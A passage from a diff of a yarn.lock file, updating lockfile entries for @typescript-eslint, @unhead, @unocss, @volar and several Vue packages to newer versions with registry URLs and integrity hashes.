-    "@typescript-eslint/scope-manager" "8.24.0"
-    "@typescript-eslint/type-utils" "8.24.0"
-    "@typescript-eslint/utils" "8.24.0"
-    "@typescript-eslint/visitor-keys" "8.24.0"
+    "@typescript-eslint/scope-manager" "8.24.1"
+    "@typescript-eslint/type-utils" "8.24.1"
+    "@typescript-eslint/utils" "8.24.1"
+    "@typescript-eslint/visitor-keys" "8.24.1"
     graphemer "^1.4.0"
     ignore "^5.3.1"
     natural-compare "^1.4.0"
     ts-api-utils "^2.0.1"
 
 "@typescript-eslint/parser@^8.5.0":
-  version "8.24.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-8.24.0.tgz#bba837f9ee125b78f459ad947ff9b61be8139085"
-  integrity sha512-MFDaO9CYiard9j9VepMNa9MTcqVvSny2N4hkY6roquzj8pdCBRENhErrteaQuu7Yjn1ppk0v1/ZF9CG3KIlrTA==
-  dependencies:
-    "@typescript-eslint/scope-manager" "8.24.0"
-    "@typescript-eslint/types" "8.24.0"
-    "@typescript-eslint/typescript-estree" "8.24.0"
-    "@typescript-eslint/visitor-keys" "8.24.0"
+  version "8.24.1"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-8.24.1.tgz#67965c2d2ddd7eadb2f094c395695db8334ef9a2"
+  integrity sha512-Tqoa05bu+t5s8CTZFaGpCH2ub3QeT9YDkXbPd3uQ4SfsLoh1/vv2GEYAioPoxCWJJNsenXlC88tRjwoHNts1oQ==
+  dependencies:
+    "@typescript-eslint/scope-manager" "8.24.1"
+    "@typescript-eslint/types" "8.24.1"
+    "@typescript-eslint/typescript-estree" "8.24.1"
+    "@typescript-eslint/visitor-keys" "8.24.1"
     debug "^4.3.4"
 
-"@typescript-eslint/scope-manager@8.24.0", "@typescript-eslint/scope-manager@^8.1.0":
-  version "8.24.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/scope-manager/-/scope-manager-8.24.0.tgz#2e34b3eb2ce768f2ffb109474174ced5417002b1"
-  integrity sha512-HZIX0UByphEtdVBKaQBgTDdn9z16l4aTUz8e8zPQnyxwHBtf5vtl1L+OhH+m1FGV9DrRmoDuYKqzVrvWDcDozw==
+"@typescript-eslint/scope-manager@8.24.1", "@typescript-eslint/scope-manager@^8.1.0", "@typescript-eslint/scope-manager@^8.13.0":
+  version "8.24.1"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/scope-manager/-/scope-manager-8.24.1.tgz#1e1e76ec4560aa85077ab36deb9b2bead4ae124e"
+  integrity sha512-OdQr6BNBzwRjNEXMQyaGyZzgg7wzjYKfX2ZBV3E04hUCBDv3GQCHiz9RpqdUIiVrMgJGkXm3tcEh4vFSHreS2Q==
   dependencies:
-    "@typescript-eslint/types" "8.24.0"
-    "@typescript-eslint/visitor-keys" "8.24.0"
+    "@typescript-eslint/types" "8.24.1"
+    "@typescript-eslint/visitor-keys" "8.24.1"
 
-"@typescript-eslint/type-utils@8.24.0":
-  version "8.24.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/type-utils/-/type-utils-8.24.0.tgz#6ee3ec4db06f9e5e7b01ca6c2b5dd5843a9fd1e8"
-  integrity sha512-8fitJudrnY8aq0F1wMiPM1UUgiXQRJ5i8tFjq9kGfRajU+dbPyOuHbl0qRopLEidy0MwqgTHDt6CnSeXanNIwA==
+"@typescript-eslint/type-utils@8.24.1":
+  version "8.24.1"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/type-utils/-/type-utils-8.24.1.tgz#99113e1df63d1571309d87eef68967344c78dd65"
+  integrity sha512-/Do9fmNgCsQ+K4rCz0STI7lYB4phTtEXqqCAs3gZW0pnK7lWNkvWd5iW545GSmApm4AzmQXmSqXPO565B4WVrw==
   dependencies:
-    "@typescript-eslint/typescript-estree" "8.24.0"
-    "@typescript-eslint/utils" "8.24.0"
+    "@typescript-eslint/typescript-estree" "8.24.1"
+    "@typescript-eslint/utils" "8.24.1"
     debug "^4.3.4"
     ts-api-utils "^2.0.1"
 
-"@typescript-eslint/types@8.24.0", "@typescript-eslint/types@^8.5.0":
-  version "8.24.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-8.24.0.tgz#694e7fb18d70506c317b816de9521300b0f72c8e"
-  integrity sha512-VacJCBTyje7HGAw7xp11q439A+zeGG0p0/p2zsZwpnMzjPB5WteaWqt4g2iysgGFafrqvyLWqq6ZPZAOCoefCw==
+"@typescript-eslint/types@8.24.1", "@typescript-eslint/types@^8.5.0":
+  version "8.24.1"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-8.24.1.tgz#8777a024f3afc4ace5e48f9a804309c6dd38f95a"
+  integrity sha512-9kqJ+2DkUXiuhoiYIUvIYjGcwle8pcPpdlfkemGvTObzgmYfJ5d0Qm6jwb4NBXP9W1I5tss0VIAnWFumz3mC5A==
 
-"@typescript-eslint/typescript-estree@8.24.0":
-  version "8.24.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-8.24.0.tgz#0487349be174097bb329a58273100a9629e03c6c"
-  integrity sha512-ITjYcP0+8kbsvT9bysygfIfb+hBj6koDsu37JZG7xrCiy3fPJyNmfVtaGsgTUSEuTzcvME5YI5uyL5LD1EV5ZQ==
+"@typescript-eslint/typescript-estree@8.24.1", "@typescript-eslint/typescript-estree@^8.13.0":
+  version "8.24.1"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-8.24.1.tgz#3bb479401f8bd471b3c6dd3db89e7256977c54db"
+  integrity sha512-UPyy4MJ/0RE648DSKQe9g0VDSehPINiejjA6ElqnFaFIhI6ZEiZAkUI0D5MCk0bQcTf/LVqZStvQ6K4lPn/BRg==
   dependencies:
-    "@typescript-eslint/types" "8.24.0"
-    "@typescript-eslint/visitor-keys" "8.24.0"
+    "@typescript-eslint/types" "8.24.1"
+    "@typescript-eslint/visitor-keys" "8.24.1"
     debug "^4.3.4"
     fast-glob "^3.3.2"
     is-glob "^4.0.3"
@@ -3141,22 +3083,22 @@
     semver "^7.6.0"
     ts-api-utils "^2.0.1"
 
-"@typescript-eslint/utils@8.24.0", "@typescript-eslint/utils@^8.1.0", "@typescript-eslint/utils@^8.13.0", "@typescript-eslint/utils@^8.5.0":
-  version "8.24.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/utils/-/utils-8.24.0.tgz#21cb1195ae79230af825bfeed59574f5cb70a749"
-  integrity sha512-07rLuUBElvvEb1ICnafYWr4hk8/U7X9RDCOqd9JcAMtjh/9oRmcfN4yGzbPVirgMR0+HLVHehmu19CWeh7fsmQ==
+"@typescript-eslint/utils@8.24.1", "@typescript-eslint/utils@^8.1.0", "@typescript-eslint/utils@^8.13.0", "@typescript-eslint/utils@^8.5.0":
+  version "8.24.1"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/utils/-/utils-8.24.1.tgz#08d14eac33cfb3456feeee5a275b8ad3349e52ed"
+  integrity sha512-OOcg3PMMQx9EXspId5iktsI3eMaXVwlhC8BvNnX6B5w9a4dVgpkQZuU8Hy67TolKcl+iFWq0XX+jbDGN4xWxjQ==
   dependencies:
     "@eslint-community/eslint-utils" "^4.4.0"
-    "@typescript-eslint/scope-manager" "8.24.0"
-    "@typescript-eslint/types" "8.24.0"
-    "@typescript-eslint/typescript-estree" "8.24.0"
+    "@typescript-eslint/scope-manager" "8.24.1"
+    "@typescript-eslint/types" "8.24.1"
+    "@typescript-eslint/typescript-estree" "8.24.1"
 
-"@typescript-eslint/visitor-keys@8.24.0":
-  version "8.24.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-8.24.0.tgz#36ecf0b9b1d819ad88a3bd4157ab7d594cb797c9"
-  integrity sha512-kArLq83QxGLbuHrTMoOEWO+l2MwsNS2TGISEdx8xgqpkbytB07XmlQyQdNDrCc1ecSqx0cnmhGvpX+VBwqqSkg==
+"@typescript-eslint/visitor-keys@8.24.1":
+  version "8.24.1"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-8.24.1.tgz#8bdfe47a89195344b34eb21ef61251562148202b"
+  integrity sha512-EwVHlp5l+2vp8CoqJm9KikPZgi3gbdZAtabKT9KPShGeOcJhsv4Zdo3oc8T8I0uKEmYoU4ItyxbptjF08enaxg==
   dependencies:
-    "@typescript-eslint/types" "8.24.0"
+    "@typescript-eslint/types" "8.24.1"
     eslint-visitor-keys "^4.2.0"
 
 "@ungap/structured-clone@^1.0.0":
@@ -3164,14 +3106,14 @@
   resolved "https://registry.yarnpkg.com/@ungap/structured-clone/-/structured-clone-1.3.0.tgz#d06bbb384ebcf6c505fde1c3d0ed4ddffe0aaff8"
   integrity sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==
 
-"@unhead/addons@^1.11.16":
-  version "1.11.18"
-  resolved "https://registry.yarnpkg.com/@unhead/addons/-/addons-1.11.18.tgz#3398ee6dc437a5a816c9ac1880a407bf859ce54e"
-  integrity sha512-WIqqy3asQLvaNQlZd+P+IQ+y8Mu0YfGbnDBp8NW/ZzyeOYB/A5MjlfgC2wdX+J8Bk889VGvSZ0ymXm0N9Kd+ug==
+"@unhead/addons@^1.11.19":
+  version "1.11.19"
+  resolved "https://registry.yarnpkg.com/@unhead/addons/-/addons-1.11.19.tgz#cbc7a268437678bb06bba30f84990921ef5d7472"
+  integrity sha512-lnWuZ8pI9lGmiDIVNt5VNRT8n3CQ3zVgxNO6LyyCsE6+BiOMHh3Xd21btIKiF6n0LuJj5aG2vuNlrc0BqbEZTA==
   dependencies:
     "@rollup/pluginutils" "^5.1.4"
-    "@unhead/schema" "1.11.18"
-    "@unhead/shared" "1.11.18"
+    "@unhead/schema" "1.11.19"
+    "@unhead/shared" "1.11.19"
     estree-walker "^3.0.3"
     magic-string "^0.30.17"
     mlly "^1.7.3"
@@ -3179,13 +3121,13 @@
     unplugin "^2.1.2"
     unplugin-ast "^0.13.1"
 
-"@unhead/dom@1.11.18", "@unhead/dom@^1.11.18", "@unhead/dom@^1.7.0":
-  version "1.11.18"
-  resolved "https://registry.yarnpkg.com/@unhead/dom/-/dom-1.11.18.tgz#2105b0afb567ee3f9c6b21771cfd2116bae8f37e"
-  integrity sha512-zQuJUw/et9zYEV0SZWTDX23IgurwMaXycAuxt4L6OgNL0T4TWP3a0J/Vm3Q02hmdNo/cPKeVBrwBdnFUXjGU4w==
+"@unhead/dom@1.11.19", "@unhead/dom@^1.11.18":
+  version "1.11.19"
+  resolved "https://registry.yarnpkg.com/@unhead/dom/-/dom-1.11.19.tgz#8228302149a01e1b170a824057735fe0e2fe80d0"
+  integrity sha512-udkgITdIblEWH3hsoFQMKW+6QXNO2qFZlZ2FI37bVAplQSnK/PytTPt/5oA1GWkoVwT0DsQNGHbU6kOg/3SlNg==
   dependencies:
-    "@unhead/schema" "1.11.18"
-    "@unhead/shared" "1.11.18"
+    "@unhead/schema" "1.11.19"
+    "@unhead/shared" "1.11.19"
 
 "@unhead/dom@1.11.9":
   version "1.11.9"
@@ -3195,23 +3137,23 @@
     "@unhead/schema" "1.11.9"
     "@unhead/shared" "1.11.9"
 
-"@unhead/schema-org@^1.11.18":
-  version "1.11.18"
-  resolved "https://registry.yarnpkg.com/@unhead/schema-org/-/schema-org-1.11.18.tgz#456c15813579ac7f1cf34ac48487b328935fb136"
-  integrity sha512-0gtolLQh9JEyD52+5Rp6zGppf/ejDDCKasFfoVN9huDe2PtZ44A2MtszjhOJWCqMCMpplWdVKuvnxp87n4+Y1g==
+"@unhead/schema-org@^1.11.19":
+  version "1.11.19"
+  resolved "https://registry.yarnpkg.com/@unhead/schema-org/-/schema-org-1.11.19.tgz#5d074ecc9537587932eb0c8ed432c557b5881529"
+  integrity sha512-1gSEhNGKXLhLbL6Gri3YfWQiEQM+DaGlF4987eIfkTUxlPVwtr5IfDmpbY7TbJaexQlC14p0CfYuPo3RLQlcHQ==
   dependencies:
-    "@unhead/schema" "1.11.18"
-    "@unhead/shared" "1.11.18"
-    "@unhead/vue" "1.11.18"
+    "@unhead/schema" "1.11.19"
+    "@unhead/shared" "1.11.19"
+    "@unhead/vue" "1.11.19"
     defu "^6.1.4"
     ohash "^1.1.4"
     ufo "^1.5.4"
-    unhead "1.11.18"
+    unhead "1.11.19"
 
-"@unhead/schema@1.11.18", "@unhead/schema@^1.11.16", "@unhead/schema@^1.7.0":
-  version "1.11.18"
-  resolved "https://registry.yarnpkg.com/@unhead/schema/-/schema-1.11.18.tgz#bb8f861c0872e98b500038cb926ec3755d539d33"
-  integrity sha512-a3TA/OJCRdfbFhcA3Hq24k1ZU1o9szicESrw8DZcGyQFacHnh84mVgnyqSkMnwgCmfN4kvjSiTBlLEHS6+wATw==
+"@unhead/schema@1.11.19":
+  version "1.11.19"
+  resolved "https://registry.yarnpkg.com/@unhead/schema/-/schema-1.11.19.tgz#0df49ba27725403a6a3edb7400d7e596bd9e6ec6"
+  integrity sha512-7VhYHWK7xHgljdv+C01MepCSYZO2v6OhgsfKWPxRQBDDGfUKCUaChox0XMq3tFvXP6u4zSp6yzcDw2yxCfVMwg==
   dependencies:
     hookable "^5.5.3"
     zhead "^2.2.4"
@@ -3224,12 +3166,12 @@
     hookable "^5.5.3"
     zhead "^2.2.4"
 
-"@unhead/shared@1.11.18", "@unhead/shared@^1.11.18":
-  version "1.11.18"
-  resolved "https://registry.yarnpkg.com/@unhead/shared/-/shared-1.11.18.tgz#e35a8adbf526ec640e96ec0c874df70f450d3a6c"
-  integrity sha512-OsupRQRxJqqnuKiL1Guqipjbl7MndD5DofvmGa3PFGu2qNPmOmH2mxGFjRBBgq2XxY1KalIHl/2I9HV6gbK8cw==
+"@unhead/shared@1.11.19", "@unhead/shared@^1.11.18":
+  version "1.11.19"
+  resolved "https://registry.yarnpkg.com/@unhead/shared/-/shared-1.11.19.tgz#eda12ff878a05ddd7a349336273c4ca79f0d272e"
+  integrity sha512-UYE9EIeQLJOhx8vC71bWGkAGY4Zzq/H8qYlihowUg4NiFOfL+KKMnj96datb74PRxSDvHac9V3OLktNcsX2NuA==
   dependencies:
-    "@unhead/schema" "1.11.18"
+    "@unhead/schema" "1.11.19"
     packrup "^0.1.2"
 
 "@unhead/shared@1.11.9":
@@ -3239,23 +3181,23 @@
   dependencies:
     "@unhead/schema" "1.11.9"
 
-"@unhead/ssr@^1.11.18", "@unhead/ssr@^1.7.0":
-  version "1.11.18"
-  resolved "https://registry.yarnpkg.com/@unhead/ssr/-/ssr-1.11.18.tgz#19bf236b32383e61c9ab7333aa29dd7222be4c71"
-  integrity sha512-uaHPz0RRAb18yKeCmHyHk5QKWRk/uHpOrqSbhRXTOhbrd3Ur3gGTVaAoyUoRYKGPU5B5/pyHh3TfLw0LkfrH1A==
+"@unhead/ssr@^1.11.18":
+  version "1.11.19"
+  resolved "https://registry.yarnpkg.com/@unhead/ssr/-/ssr-1.11.19.tgz#3f73180ad3b7a2c99757657b1bd248503ab7350e"
+  integrity sha512-OH+rj6xBTdYyLsSntk4lEQyR+z57aEUZIiR2UpPl1zWGtBZPIr5zs3GY5+EyJ8t8e0zLemPR/Pu7VembTJ8o1w==
   dependencies:
-    "@unhead/schema" "1.11.18"
-    "@unhead/shared" "1.11.18"
+    "@unhead/schema" "1.11.19"
+    "@unhead/shared" "1.11.19"
 
-"@unhead/vue@1.11.18", "@unhead/vue@^1.11.18", "@unhead/vue@^1.7.0":
-  version "1.11.18"
-  resolved "https://registry.yarnpkg.com/@unhead/vue/-/vue-1.11.18.tgz#dc872a775ea6f3b2e4a5fd81e77034fa71b246a8"
-  integrity sha512-Jfi7t/XNBnlcauP9UTH3VHBcS69G70ikFd2e5zdgULLDRWpOlLs1sSTH1V2juNptc93DOk9RQfC5jLWbLcivFw==
+"@unhead/vue@1.11.19", "@unhead/vue@^1.11.18":
+  version "1.11.19"
+  resolved "https://registry.yarnpkg.com/@unhead/vue/-/vue-1.11.19.tgz#f41d8bef8ae83eb089b24540efb390402bee64f9"
+  integrity sha512-/XATTP8wVLs3+2Pkj2crvr/Z55nybVQyOwISh+sAlr/48/9n3jGNiCZHKpHgL4MpOnGT4krwzWzbfhBO/G2BSQ==
   dependencies:
-    "@unhead/schema" "1.11.18"
-    "@unhead/shared" "1.11.18"
+    "@unhead/schema" "1.11.19"
+    "@unhead/shared" "1.11.19"
     hookable "^5.5.3"
-    unhead "1.11.18"
+    unhead "1.11.19"
 
 "@unhead/vue@1.11.9":
   version "1.11.9"
@@ -3309,10 +3251,10 @@
   resolved "https://registry.yarnpkg.com/@unocss/core/-/core-0.65.4.tgz#669ad1b1d08dd40db7d2a3d14864bbd99fb0856d"
   integrity sha512-a2JOoFutrhqd5RgPhIR5FIXrDoHDU3gwCbPrpT6KYTjsqlSc/fv02yZ+JGOZFN3MCFhCmaPTs+idDFtwb3xU8g==
 
-"@unocss/core@65.4.3", "@unocss/core@^65.4.2", "@unocss/core@^65.4.3":
-  version "65.4.3"
-  resolved "https://registry.yarnpkg.com/@unocss/core/-/core-65.4.3.tgz#ed8f4a6735cb84f8404f27214b80bbe9efb254a7"
-  integrity sha512-luFgdcchSlNrYSaDvU2176T2PPQZdxqfREVbxEXNXlFEgyEFrx5hOSUXoJtJSZjRhAcE6zkWyLDf/JkQJ5Eeyw==
+"@unocss/core@66.0.0", "@unocss/core@^66.0.0":
+  version "66.0.0"
+  resolved "https://registry.yarnpkg.com/@unocss/core/-/core-66.0.0.tgz#2a316f4e0e17bd3f77788479401ca84eaf52e847"
+  integrity sha512-PdVbSMHNDDkr++9nkqzsZRAkaU84gxMTEgYbqI7dt2p1DXp/5tomVtmMsr2/whXGYKRiUc0xZ3p4Pzraz8TcXA==
 
 "@unocss/extractor-arbitrary-variants@0.65.4":
   version "0.65.4"
@@ -3321,12 +3263,12 @@
   dependencies:
     "@unocss/core" "0.65.4"
 
-"@unocss/extractor-arbitrary-variants@65.4.3":
-  version "65.4.3"
-  resolved "https://registry.yarnpkg.com/@unocss/extractor-arbitrary-variants/-/extractor-arbitrary-variants-65.4.3.tgz#c527d251577eb344ec47c9bd96359258bfc19e2f"
-  integrity sha512-RhSOOzOxkNjJl9zeglaBe0U+o39jleCCNPWJ87DDJA3ckbyylIIf21ZwY1Xu76rmdar5DT9ob7ucuPfEpJLN9A==
+"@unocss/extractor-arbitrary-variants@66.0.0":
+  version "66.0.0"
+  resolved "https://registry.yarnpkg.com/@unocss/extractor-arbitrary-variants/-/extractor-arbitrary-variants-66.0.0.tgz#8bd37b36cc4e568db809d7d460f65ff3f4830b30"
+  integrity sha512-vlkOIOuwBfaFBJcN6o7+obXjigjOlzVFN/jT6pG1WXbQDTRZ021jeF3i9INdb9D/0cQHSeDvNgi1TJ5oUxfiow==
   dependencies:
-    "@unocss/core" "65.4.3"
+    "@unocss/core" "66.0.0"
 
 "@unocss/inspector@0.65.4":
   version "0.65.4"
@@ -3397,14 +3339,14 @@
     "@unocss/extractor-arbitrary-variants" "0.65.4"
     "@unocss/rule-utils" "0.65.4"
 
-"@unocss/preset-mini@65.4.3":
-  version "65.4.3"
-  resolved "https://registry.yarnpkg.com/@unocss/preset-mini/-/preset-mini-65.4.3.tgz#0311bd105b94636a7233ddb90006f0e2b0015b3b"
-  integrity sha512-JajAF18DKJRXgd9usrAYTcHUtZy606mD396ZswDgw/mUSu529tuiT6LOD43aJMYHgPEw7wKYjiGFHkeBTHijuQ==
+"@unocss/preset-mini@66.0.0":
+  version "66.0.0"
+  resolved "https://registry.yarnpkg.com/@unocss/preset-mini/-/preset-mini-66.0.0.tgz#8b1b5ee36aaa8d1226ff34179622d4433a872130"
+  integrity sha512-d62eACnuKtR0dwCFOQXgvw5VLh5YSyK56xCzpHkh0j0GstgfDLfKTys0T/XVAAvdSvAy/8A8vhSNJ4PlIc9V2A==
   dependencies:
-    "@unocss/core" "65.4.3"
-    "@unocss/extractor-arbitrary-variants" "65.4.3"
-    "@unocss/rule-utils" "65.4.3"
+    "@unocss/core" "66.0.0"
+    "@unocss/extractor-arbitrary-variants" "66.0.0"
+    "@unocss/rule-utils" "66.0.0"
 
 "@unocss/preset-tagify@0.65.4":
   version "0.65.4"
@@ -3439,6 +3381,15 @@
     "@unocss/core" "0.65.4"
     ofetch "^1.4.1"
 
+"@unocss/preset-wind3@^66.0.0":
+  version "66.0.0"
+  resolved "https://registry.yarnpkg.com/@unocss/preset-wind3/-/preset-wind3-66.0.0.tgz#3f17da21cea683d75d4adefbd4f9c95172eeb1bb"
+  integrity sha512-WAGRmpi1sb2skvYn9DBQUvhfqrJ+VmQmn5ZGsT2ewvsk7HFCvVLAMzZeKrrTQepeNBRhg6HzFDDi8yg6yB5c9g==
+  dependencies:
+    "@unocss/core" "66.0.0"
+    "@unocss/preset-mini" "66.0.0"
+    "@unocss/rule-utils" "66.0.0"
+
 "@unocss/preset-wind@0.65.4":
   version "0.65.4"
   resolved "https://registry.yarnpkg.com/@unocss/preset-wind/-/preset-wind-0.65.4.tgz#34739e518c3d36635845bc531c3fc116a22e0b64"
@@ -3448,15 +3399,6 @@
     "@unocss/preset-mini" "0.65.4"
     "@unocss/rule-utils" "0.65.4"
 
-"@unocss/preset-wind@^65.4.2":
-  version "65.4.3"
-  resolved "https://registry.yarnpkg.com/@unocss/preset-wind/-/preset-wind-65.4.3.tgz#c1f4ccc4355f1d2bcca0e7dec82fd81e8126e8ac"
-  integrity sha512-KM13xIARNeZ/ZKJr33fZ89l79wgI+1Oo8VPJzmckLjbH9IGOhcH2GON7wVIxQqqqM9IM3vALEqw2KNdM6ontWw==
-  dependencies:
-    "@unocss/core" "65.4.3"
-    "@unocss/preset-mini" "65.4.3"
-    "@unocss/rule-utils" "65.4.3"
-
 "@unocss/reset@0.65.4", "@unocss/reset@^0.65.3":
   version "0.65.4"
   resolved "https://registry.yarnpkg.com/@unocss/reset/-/reset-0.65.4.tgz#068794bfe005977fbf4cecd3ecdf82bcb8b5ad38"
@@ -3470,12 +3412,12 @@
     "@unocss/core" "^0.65.4"
     magic-string "^0.30.17"
 
-"@unocss/rule-utils@65.4.3":
-  version "65.4.3"
-  resolved "https://registry.yarnpkg.com/@unocss/rule-utils/-/rule-utils-65.4.3.tgz#337f361338c79444fbf6624df3a8fc41e12b6bc5"
-  integrity sha512-bzRRdb9mb82IvgOt3KiRyUh/njRfJC3hoV84lMyUPryT8YTEP/hl6kt2KQ2l1K3WDz7ZPQXVi2eqUbqc+AUpwg==
+"@unocss/rule-utils@66.0.0":
+  version "66.0.0"
+  resolved "https://registry.yarnpkg.com/@unocss/rule-utils/-/rule-utils-66.0.0.tgz#5fd1c7bd2372e9f3724ed6858263a703a9ae064a"
+  integrity sha512-UJ51YHbwxYTGyj35ugsPlOT4gaa7tCbXdywZ3m5Nn0JgywwIqGmBFyiN9ZjHBHfJuDxmmPd6lxojoBscih/WMQ==
   dependencies:
-    "@unocss/core" "^65.4.3"
+    "@unocss/core" "^66.0.0"
     magic-string "^0.30.17"
 
 "@unocss/transformer-attributify-jsx@0.65.4":
@@ -3569,6 +3511,27 @@
   resolved "https://registry.yarnpkg.com/@vitejs/plugin-vue/-/plugin-vue-5.2.1.tgz#d1491f678ee3af899f7ae57d9c21dc52a65c7133"
   integrity sha512-cxh314tzaWwOLqVes2gnnCtvBDcM1UMdn+iFR+UjAn411dPT3tOmqrJjbMd7koZpMAmBM/GqeV4n9ge7JSiJJQ==
 
+"@volar/language-core@2.4.11", "@volar/language-core@~2.4.11":
+  version "2.4.11"
+  resolved "https://registry.yarnpkg.com/@volar/language-core/-/language-core-2.4.11.tgz#d95a9ec4f14fbdb41a6a64f9f321d11d23a5291c"
+  integrity sha512-lN2C1+ByfW9/JRPpqScuZt/4OrUUse57GLI6TbLgTIqBVemdl1wNcZ1qYGEo2+Gw8coYLgCy7SuKqn6IrQcQgg==
+  dependencies:
+    "@volar/source-map" "2.4.11"
+
+"@volar/source-map@2.4.11":
+  version "2.4.11"
+  resolved "https://registry.yarnpkg.com/@volar/source-map/-/source-map-2.4.11.tgz#5876d4531508129724c2755e295db1df98bd5895"
+  integrity sha512-ZQpmafIGvaZMn/8iuvCFGrW3smeqkq/IIh9F1SdSx9aUl0J4Iurzd6/FhmjNO5g2ejF3rT45dKskgXWiofqlZQ==
+
+"@volar/typescript@~2.4.11":
+  version "2.4.11"
+  resolved "https://registry.yarnpkg.com/@volar/typescript/-/typescript-2.4.11.tgz#aafbfa413337654db211bf4d8fb6670c89f6fa57"
+  integrity sha512-2DT+Tdh88Spp5PyPbqhyoYavYCPDsqbHLFwcUI9K1NlY1YgUJvujGdrqUp0zWxnW7KWNTr3xSpMuv2WnaTKDAw==
+  dependencies:
+    "@volar/language-core" "2.4.11"
+    path-browserify "^1.0.1"
+    vscode-uri "^3.0.8"
+
 "@voxpelli/config-array-find-files@^1.2.1":
   version "1.2.2"
   resolved "https://registry.yarnpkg.com/@voxpelli/config-array-find-files/-/config-array-find-files-1.2.2.tgz#cd46a78aea5f3d9afff559d615c910015710eae6"
@@ -3576,7 +3539,7 @@
   dependencies:
     "@nodelib/fs.walk" "^3.0.0"
 
-"@vue-macros/common@^1.15.0":
+"@vue-macros/common@^1.15.0", "@vue-macros/common@^1.16.1":
   version "1.16.1"
   resolved "https://registry.yarnpkg.com/@vue-macros/common/-/common-1.16.1.tgz#dac7ebc57ded4d6fb19d7f9a83d2973971d9fa65"
   integrity sha512-Pn/AWMTjoMYuquepLZP813BIcq8DTZiNCoaceuNlvaYuOTd8DqBZWc5u0uOMQZMInwME1mdSmmBAcTluiV9Jtg==
@@ -3631,7 +3594,7 @@
     estree-walker "^2.0.2"
     source-map-js "^1.2.0"
 
-"@vue/compiler-dom@3.5.13", "@vue/compiler-dom@^3.3.4":
+"@vue/compiler-dom@3.5.13", "@vue/compiler-dom@^3.2.45", "@vue/compiler-dom@^3.3.4", "@vue/compiler-dom@^3.5.0":
   version "3.5.13"
   resolved "https://registry.yarnpkg.com/@vue/compiler-dom/-/compiler-dom-3.5.13.tgz#bb1b8758dbc542b3658dda973b98a1c9311a8a58"
   integrity sha512-ZOJ46sMOKUjO3e94wPdCzQ6P1Lx/vhp2RSvfaab88Ajexs0AHeV0uasYhi99WPaogmBlRHNRuly8xV75cNTMDA==
@@ -3639,7 +3602,7 @@
     "@vue/compiler-core" "3.5.13"
     "@vue/shared" "3.5.13"
 
-"@vue/compiler-sfc@3.5.13", "@vue/compiler-sfc@^3.2.47", "@vue/compiler-sfc@^3.5.13", "@vue/compiler-sfc@^3.5.3", "@vue/compiler-sfc@^3.5.4":
+"@vue/compiler-sfc@3.5.13", "@vue/compiler-sfc@^3.5.13", "@vue/compiler-sfc@^3.5.3":
   version "3.5.13"
   resolved "https://registry.yarnpkg.com/@vue/compiler-sfc/-/compiler-sfc-3.5.13.tgz#461f8bd343b5c06fac4189c4fef8af32dea82b46"
   integrity sha512-6VdaljMpD82w6c2749Zhf5T9u5uLBWKnVue6XWxprDobftnletJ8+oel7sexFfM3qIxNmVE7LSFGTpv6obNyaQ==
@@ -3662,6 +3625,14 @@
     "@vue/compiler-dom" "3.5.13"
     "@vue/shared" "3.5.13"
 
+"@vue/compiler-vue2@^2.7.16":
+  version "2.7.16"
+  resolved "https://registry.yarnpkg.com/@vue/compiler-vue2/-/compiler-vue2-2.7.16.tgz#2ba837cbd3f1b33c2bc865fbe1a3b53fb611e249"
+  integrity sha512-qYC3Psj9S/mfu9uVi5WvNZIzq+xnXMhOwbTFKKDD7b1lhpnn71jXSFdTQ+WsIEk0ONCd7VV2IMm7ONl6tbQ86A==
+  dependencies:
+    de-indent "^1.0.2"
+    he "^1.2.0"
+
 "@vue/devtools-api@^6.5.0", "@vue/devtools-api@^6.6.4":
   version "6.6.4"
   resolved "https://registry.yarnpkg.com/@vue/devtools-api/-/devtools-api-6.6.4.tgz#cbe97fe0162b365edc1dba80e173f90492535343"
@@ -3693,11 +3664,11 @@
     superjson "^2.2.1"
 
 "@vue/devtools-kit@^7.6.8":
-  version "7.7.1"
-  resolved "https://registry.yarnpkg.com/@vue/devtools-kit/-/devtools-kit-7.7.1.tgz#9b4cdef7111ffd8673c14e9a16a433c65ebb8a8e"
-  integrity sha512-yhZ4NPnK/tmxGtLNQxmll90jIIXdb2jAhPF76anvn5M/UkZCiLJy28bYgPIACKZ7FCosyKoaope89/RsFJll1w==
+  version "7.7.2"
+  resolved "https://registry.yarnpkg.com/@vue/devtools-kit/-/devtools-kit-7.7.2.tgz#3315bd5b144f98c7b84c2f44270b445644ec8f10"
+  integrity sha512-CY0I1JH3Z8PECbn6k3TqM1Bk9ASWxeMtTCvZr7vb+CHi+X/QwQm5F1/fPagraamKMAHVfuuCbdcnNg1A4CYVWQ==
   dependencies:
-    "@vue/devtools-shared" "^7.7.1"
+    "@vue/devtools-shared" "^7.7.2"
     birpc "^0.2.19"
     hookable "^5.5.3"
     mitt "^3.0.1"
@@ -3705,13 +3676,27 @@
     speakingurl "^14.0.1"
     superjson "^2.2.1"
 
-"@vue/devtools-shared@^7.6.8", "@vue/devtools-shared@^7.7.1":
-  version "7.7.1"
-  resolved "https://registry.yarnpkg.com/@vue/devtools-shared/-/devtools-shared-7.7.1.tgz#3a92d7cc268c15fa639797c45b0aff79eae9b8d7"
-  integrity sha512-BtgF7kHq4BHG23Lezc/3W2UhK2ga7a8ohAIAGJMBr4BkxUFzhqntQtCiuL1ijo2ztWnmusymkirgqUrXoQKumA==
+"@vue/devtools-shared@^7.6.8", "@vue/devtools-shared@^7.7.2":
+  version "7.7.2"
